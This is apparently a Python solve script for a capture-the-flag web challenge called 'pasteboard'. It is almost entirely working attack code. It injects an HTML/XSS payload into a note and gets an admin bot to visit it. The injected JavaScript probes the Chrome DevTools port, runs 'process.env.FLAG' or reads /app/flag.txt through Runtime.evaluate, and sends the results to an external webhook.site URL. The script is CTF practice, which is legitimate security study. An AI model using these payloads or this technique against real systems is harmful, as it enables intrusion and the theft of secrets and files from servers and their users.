#!/usr/bin/env python3
"""
More defensive CDP payload with step-by-step error reporting
"""
import requests
from urllib.parse import urljoin, quote

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"

# More defensive CDP payload - reports each step
code = f"""
// Send ping immediately to confirm execution
fetch('{WEBHOOK}?step=0_started');

// Step 1: Check debugging port
fetch('{WEBHOOK}?step=1_checking_debug_port').then(() => {{
    fetch('http://localhost:9222/json')
        .then(r => {{
            fetch('{WEBHOOK}?step=2_debug_port_open');
            return r.json();
        }})
        .then(data => fetch('{WEBHOOK}', {{method:'POST', body:JSON.stringify({{debug:data}})}}) )
        .catch(e => fetch('{WEBHOOK}?step=2_debug_port_closed'));
}});

// Step 2: Try CDP import
fetch('{WEBHOOK}?step=3_trying_cdp_import').then(() => {{
    import('/devtools/main/main.js')
        .then(Main => {{
            fetch('{WEBHOOK}?step=4_cdp_imported');
            
            // Try process.env.FLAG
            Main.MainImpl.SendOverProtocol('Runtime.evaluate', {{
                expression: 'process.env.FLAG'
            }})
            .then(result => {{
                fetch('{WEBHOOK}?FLAG=' + encodeURIComponent(result.result.value));
            }})
            .catch(e => {{
                fetch('{WEBHOOK}?step=5_env_failed&err=' + encodeURIComponent(e.toString()));
                
                // Try file read
                Main.MainImpl.SendOverProtocol('Runtime.evaluate', {{
                    expression: 'require("fs").readFileSync("/app/flag.txt","utf8")'
                }})
                .then(result => {{
                    fetch('{WEBHOOK}?FLAG=' + encodeURIComponent(result.result.value));
                }})
                .catch(e2 => fetch('{WEBHOOK}?step=6_file_failed&err=' + encodeURIComponent(e2.toString())));
            }});
        }})
        .catch(e => fetch('{WEBHOOK}?step=4_cdp_import_failed&err=' + encodeURIComponent(e.toString())));
}});
""".replace('\n', ' ')

payload = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{quote(code)}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("🔍 Sending defensive CDP payload with step-by-step reporting...")

response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "CDP Debug", "body": payload},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"✅ Paste created: {urljoin(CHALLENGE_URL, note_path)}")

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"✅ Queued for bot visit!")
        print(f"\n📊 Check webhook for these steps:")
        print(f"   step=0_started → Script started")
        print(f"   step=1_checking_debug_port → Checking port")
        print(f"   step=2_debug_port_open → Port accessible")
        print(f"   step=3_trying_cdp_import → Importing CDP")
        print(f"   step=4_cdp_imported → Import succeeded")
        print(f"   FLAG=... → SUCCESS!")
        print(f"\n🌐 {WEBHOOK}")
